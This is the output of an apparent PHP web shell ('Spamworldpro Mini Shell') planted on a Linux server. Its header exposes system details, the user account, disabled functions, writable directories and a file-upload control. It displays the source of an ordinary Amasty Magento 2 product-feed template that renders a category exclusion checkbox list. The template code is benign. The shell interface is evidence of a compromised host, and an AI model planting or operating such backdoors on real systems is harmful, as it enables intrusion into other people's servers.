Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/amasty/feed/view/adminhtml/templates/category/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/amasty/feed/view/adminhtml/templates/category/exclude_mapping.phtml
<?php
/**
 * @author Amasty Team
 * @copyright Copyright (c) Amasty (https://www.amasty.com)
 * @package Product Feed for Magento 2
 */
/** @var \Amasty\Feed\Block\Adminhtml\Category\Edit\Tab\ExcludeMapping $block */
/** @var \Magento\Framework\Escaper $escaper */
/** @var \Magento\Framework\Data\Form\Element\AbstractElement $element */
$element = $block->getElement();
$value = $element->getValue();
$htmlId = $element->getHtmlId();
?>
<div class="field" id="attribute-<?= $escaper->escapeHtml($htmlId) ?>-container">
    <label class="label"><?= $escaper->escapeHtml($element->getLabel()); ?></label>
    <a href="#" id="select_deselect_all" onclick="mappingControl.selectDeselectAll()">
        <?= $escaper->escapeHtml(__('Select All / Deselect All')) ?>
    </a>
    <div class="control">
        <ul class="amfeed-exclude-categories">
            <?php foreach ($block->getCategoriesList() as $category): ?>
                <li class="amfeed-category" style="padding-left: <?= ((int)$category['level'] * 30) ?>px;">
                    <input class="amfeed-checkbox"
                           data-amfeed-js="category-<?= $escaper->escapeHtml($category['id']) ?>"
                           type="checkbox"
                           title="<?= $escaper->escapeHtml(__('Ignore category')) ?>"
                           name="mapping[<?= $escaper->escapeHtml($category['id']) ?>][skip]"
                           value="1"
                           id="exclude-category-<?= $escaper->escapeHtml($category['id']) ?>"
                        <?php if (!empty($value[$category['id']]['skip'])): ?>
                            checked="checked"
                        <?php endif; ?>
                           onclick="mappingControl.disableCategory(this)"/>
                    <label class="amfeed-label" for="exclude-category-<?= $escaper->escapeHtml($category['id']) ?>">
                        <?= $escaper->escapeHtml($category['name']); ?>
                    </label>
                </li>
            <?php endforeach; ?>
        </ul>
    </div>
</div>
<script>
    require([ 'jquery', 'underscore', 'Amasty_Feed/js/action/serializeObject' ], function ($, _, SerializeObject) {
        $('#edit_form').on('afterValidate.beforeSubmit', function () {
            let $form = $(this),
                formData = SerializeObject($form),
                mappingData = formData.mapping,
                input = document.createElement('input');

            _.each(mappingData, function (data, categoryId) {
                if (data.skip) {
                    delete mappingData[categoryId].name;
                } else if (!data.name) {
                    delete mappingData[categoryId];
                }

                $('[name="mapping[' + categoryId + '][skip]"], [name="mapping[' + categoryId + '][name]"]')
                    .prop('disabled', true);
            });

            input.type = 'hidden';
            input.name = 'mapping';
            input.value = JSON.stringify(mappingData);

            $form.append(input);
        });
        window.mappingControl = {
            disableCategory: function (elem) {
                var input = $('[data-amfeed-js="amfeed-taxonomy-input"].' + elem.getAttribute('data-amfeed-js'));
                if (elem.checked) {
                    input.parents('[data-amfeed-js="category-item"]').hide();
                    input.removeClass('required-entry _required');
                } else {
                    input.parents('[data-amfeed-js="category-item"]').show();
                    input.addClass('required-entry _required');
                }
            },
            selectDeselectAll: function () {
                var selector = $('.amfeed-exclude-categories [type="checkbox"]'),
                    state = !!(selector.first().attr('checked'));

                $.each(selector, function (key, element) {
                    $(element).attr('checked', !state);
                    mappingControl.disableCategory(element);
                });
            }
        };
    });
</script>

Spamworldpro Mini